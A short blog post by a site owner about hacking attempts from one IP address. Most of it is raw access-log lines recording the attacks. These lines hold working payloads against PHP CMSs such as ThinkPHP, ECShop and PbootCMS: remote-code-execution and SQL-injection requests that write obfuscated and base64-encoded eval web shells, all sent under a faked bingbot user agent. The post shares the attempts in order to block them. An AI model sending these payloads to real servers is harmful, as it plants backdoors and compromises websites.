106.52.197.96 – Hacking Attempt

Recently I’ve been keeping an eye on the traffic at FreeFixer.com and trying to block fake Bing and Google bots and other types of bad behaviour. This morning I found a bunch of hacking attempts from 106.52.197.96, which by they way appears to be located on the Tencent cloud computing (Beijing) Co., Ltd network range. I’m guessing one of Tencent’s cloud clients got hacked.

I’ve posted the requests below. 106.52.197.96 attempts to inject some PHP and SQL code. For obvious reason, this IP will be blocked in .htaccess.

106.52.197.96 - - [15/Sep/2019:20:00:03 -0700] "PUT //9n2q0m7jOHN7dcr6.txt HTTP/1.1" 404 4696 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:07 -0700] "GET //type.php?template=tag_(){};@unlink(FILE);print_r(blshell);assert($_POST[58B040zuEc1FAlfs]);{//../rss HTTP/1.1" 404 4696 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:07 -0700] "GET //data/cache_template/rss.tpl.php HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:11 -0700] "GET //index.php?s=index/\think\template\driver\file/write&cacheFile=19x8MpcV8A7T9DEl.php&content=%3C%3F%70%68%70%0D%0A%0D%0A%0D%0A%24%5F%63%6F%6E%66%69%67%20%3D%20%61%72%72%61%79%28%29%3B%0D%0A%0D%0A%2F%2F%20%20%20%43%4F%4E%46%49%47%20%41%41%41%0A%0D%45%56%41%4C%28%43%48%52%28%31%30%31%29%2E%43%48%52%28%31%31%38%29%2E%43%48%52%28%39%37%29%2E%43%48%52%28%31%30%38%29%2E%43%48%52%28%34%30%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%33%36%29%2E%43%48%52%28%39%35%29%2E%43%48%52%28%38%30%29%2E%43%48%52%28%37%39%29%2E%43%48%52%28%38%33%29%2E%43%48%52%28%38%34%29%2E%43%48%52%28%39%31%29%2E%43%48%52%28%39%39%29%2E%43%48%52%28%39%33%29%2E%43%48%52%28%35%39%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%34%31%29%2E%43%48%52%28%35%39%29%29%3B%2F%2F%20%20%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%61%61%61%0A%0D%65%76%61%6C%28%43%48%52%28%31%30%31%29%2E%43%48%52%28%31%31%38%29%2E%43%48%52%28%39%37%29%2E%43%48%52%28%31%30%38%29%2E%43%48%52%28%34%30%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%33%36%29%2E%43%48%52%28%39%35%29%2E%43%48%52%28%38%30%29%2E%43%48%52%28%37%39%29%2E%43%48%52%28%38%33%29%2E%43%48%52%28%38%34%29%2E%43%48%52%28%39%31%29%2E%43%48%52%28%39%39%29%2E%43%48%52%28%39%33%29%2E%43%48%52%28%35%39%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%34%31%29%2E%43%48%52%28%35%39%29%29%3B%2F%2F%27%5D%20%3D%20%27%61%61%61%61%27%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%53%4F%55%52%43%45%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%6C%6F%63%61%6C%68%6F%73%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%72%6F%6F%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%64%69%73%63%75%7A%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%63%64%62%5F%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%54%41%52%47%45%54%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%6C%6F%63%61%6C%68%6F%73%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%72%6F%6F%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%64%69%73%63%75%7A%78%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%70%72%65%5F%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%55%43%45%4E%54%45%52%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%54%48%45%20%45%4E%44%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%0D%0A%3F%3E%3C%3F%70%68%70%20%65%63%68%6F%20%27%65%63%68%6F%27%2E%27%54%68%69%6E%6B%50%48%50%27%3F%3E HTTP/1.1" 404 4698 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:11 -0700] "GET //19x8MpcV8A7T9DEl.php HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:11 -0700] "GET //?s=index/\think\template\driver\file/write&cacheFile=19x8MpcV8A7T9DEl.php&content=%3C%3F%70%68%70%0D%0A%0D%0A%0D%0A%24%5F%63%6F%6E%66%69%67%20%3D%20%61%72%72%61%79%28%29%3B%0D%0A%0D%0A%2F%2F%20%20%20%43%4F%4E%46%49%47%20%41%41%41%0A%0D%45%56%41%4C%28%43%48%52%28%31%30%31%29%2E%43%48%52%28%31%31%38%29%2E%43%48%52%28%39%37%29%2E%43%48%52%28%31%30%38%29%2E%43%48%52%28%34%30%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%33%36%29%2E%43%48%52%28%39%35%29%2E%43%48%52%28%38%30%29%2E%43%48%52%28%37%39%29%2E%43%48%52%28%38%33%29%2E%43%48%52%28%38%34%29%2E%43%48%52%28%39%31%29%2E%43%48%52%28%39%39%29%2E%43%48%52%28%39%33%29%2E%43%48%52%28%35%39%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%34%31%29%2E%43%48%52%28%35%39%29%29%3B%2F%2F%20%20%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%61%61%61%0A%0D%65%76%61%6C%28%43%48%52%28%31%30%31%29%2E%43%48%52%28%31%31%38%29%2E%43%48%52%28%39%37%29%2E%43%48%52%28%31%30%38%29%2E%43%48%52%28%34%30%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%33%36%29%2E%43%48%52%28%39%35%29%2E%43%48%52%28%38%30%29%2E%43%48%52%28%37%39%29%2E%43%48%52%28%38%33%29%2E%43%48%52%28%38%34%29%2E%43%48%52%28%39%31%29%2E%43%48%52%28%39%39%29%2E%43%48%52%28%39%33%29%2E%43%48%52%28%35%39%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%34%31%29%2E%43%48%52%28%35%39%29%29%3B%2F%2F%27%5D%20%3D%20%27%61%61%61%61%27%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%53%4F%55%52%43%45%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%6C%6F%63%61%6C%68%6F%73%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%72%6F%6F%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%64%69%73%63%75%7A%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%63%64%62%5F%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%54%41%52%47%45%54%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%6C%6F%63%61%6C%68%6F%73%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%72%6F%6F%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%64%69%73%63%75%7A%78%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%70%72%65%5F%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%55%43%45%4E%54%45%52%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%54%48%45%20%45%4E%44%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%0D%0A%3F%3E%3C%3F%70%68%70%20%65%63%68%6F%20%27%65%63%68%6F%27%2E%27%54%68%69%6E%6B%50%48%50%27%3F%3E HTTP/1.1" 200 7349 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:12 -0700] "GET //19x8MpcV8A7T9DEl.php HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:12 -0700] "GET //?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=19x8MpcV8A7T9DEl.php&vars[1][]=%3C%3F%70%68%70%0D%0A%0D%0A%0D%0A%24%5F%63%6F%6E%66%69%67%20%3D%20%61%72%72%61%79%28%29%3B%0D%0A%0D%0A%2F%2F%20%20%20%43%4F%4E%46%49%47%20%41%41%41%0A%0D%45%56%41%4C%28%43%48%52%28%31%30%31%29%2E%43%48%52%28%31%31%38%29%2E%43%48%52%28%39%37%29%2E%43%48%52%28%31%30%38%29%2E%43%48%52%28%34%30%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%33%36%29%2E%43%48%52%28%39%35%29%2E%43%48%52%28%38%30%29%2E%43%48%52%28%37%39%29%2E%43%48%52%28%38%33%29%2E%43%48%52%28%38%34%29%2E%43%48%52%28%39%31%29%2E%43%48%52%28%39%39%29%2E%43%48%52%28%39%33%29%2E%43%48%52%28%35%39%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%34%31%29%2E%43%48%52%28%35%39%29%29%3B%2F%2F%20%20%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%61%61%61%0A%0D%65%76%61%6C%28%43%48%52%28%31%30%31%29%2E%43%48%52%28%31%31%38%29%2E%43%48%52%28%39%37%29%2E%43%48%52%28%31%30%38%29%2E%43%48%52%28%34%30%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%33%36%29%2E%43%48%52%28%39%35%29%2E%43%48%52%28%38%30%29%2E%43%48%52%28%37%39%29%2E%43%48%52%28%38%33%29%2E%43%48%52%28%38%34%29%2E%43%48%52%28%39%31%29%2E%43%48%52%28%39%39%29%2E%43%48%52%28%39%33%29%2E%43%48%52%28%35%39%29%2E%43%48%52%28%33%34%29%2E%43%48%52%28%34%31%29%2E%43%48%52%28%35%39%29%29%3B%2F%2F%27%5D%20%3D%20%27%61%61%61%61%27%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%53%4F%55%52%43%45%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%6C%6F%63%61%6C%68%6F%73%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%72%6F%6F%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%64%69%73%63%75%7A%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%63%64%62%5F%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%73%6F%75%72%63%65%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%54%41%52%47%45%54%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%6C%6F%63%61%6C%68%6F%73%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%72%6F%6F%74%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%64%69%73%63%75%7A%78%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%70%72%65%5F%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%74%61%72%67%65%74%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%43%4F%4E%46%49%47%20%55%43%45%4E%54%45%52%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%68%6F%73%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%75%73%65%72%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%70%77%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%6E%61%6D%65%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%74%61%62%6C%65%70%72%65%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%64%62%63%68%61%72%73%65%74%27%5D%20%3D%20%27%27%3B%0D%0A%24%5F%63%6F%6E%66%69%67%5B%27%75%63%65%6E%74%65%72%27%5D%5B%27%70%63%6F%6E%6E%65%63%74%27%5D%20%3D%20%31%3B%0D%0A%0D%0A%0D%0A%2F%2F%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%20%54%48%45%20%45%4E%44%20%20%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%2D%20%2F%2F%0D%0A%0D%0A%3F%3E%3C%3F%70%68%70%20%65%63%68%6F%20%27%65%63%68%6F%27%2E%27%54%68%69%6E%6B%50%48%50%27%3F%3E HTTP/1.1" 200 8202 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:13 -0700] "GET //19x8MpcV8A7T9DEl.php HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:13 -0700] "GET //?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET[%27fuck%27]);&fuck=fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbYmxibF0pPz5ibHNoZWxs)); HTTP/1.1" 200 8204 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:14 -0700] "GET //x.php HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"

106.52.197.96 - - [15/Sep/2019:20:00:14 -0700] "POST //index.php?s=index HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"

106.52.197.96 - - [15/Sep/2019:20:00:15 -0700] "GET //d.php HTTP/1.1" 404 419 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:19 -0700] "GET //i.php HTTP/1.1" 404 4696 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:19 -0700] "GET //user.php?act=login HTTP/1.1" 404 415 "45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\"num\";s:289:\"/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a326b75634768774a79776e4a45496a5444772f63476877494756325957776f4a46395154314e55573139644b54732f506963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:11:\"-1' UNION/\";}45ea207d7a2b68c49582d2d22adf953a" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:20 -0700] "GET //i.php HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:24 -0700] "GET //index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUW3NoZWxsXSk7Pz5ibHNoZWxs HTTP/1.1" 404 4698 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:24 -0700] "GET //uploadfile/member/0/0x0.php HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:29 -0700] "POST //index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1" 404 4696 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:33 -0700] "GET //index.php/list/5/?current={pboot:if(eval\\($_GET['a']))}1{/pboot:if}&a=fputs(fopen(base64_decode('eC5waHA'),'w'),%20base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydibCddKTsgPz5ibHNoZWxs')) HTTP/1.1" 404 4696 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:33 -0700] "GET //x.php HTTP/1.1" 404 413 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:37 -0700] "POST //index.php?c=upload&f=save HTTP/1.1" 404 4696 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
 
106.52.197.96 - - [15/Sep/2019:20:00:41 -0700] "POST //index.php?g=Api&m=Plugin&a=fetch HTTP/1.1" 404 4696 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"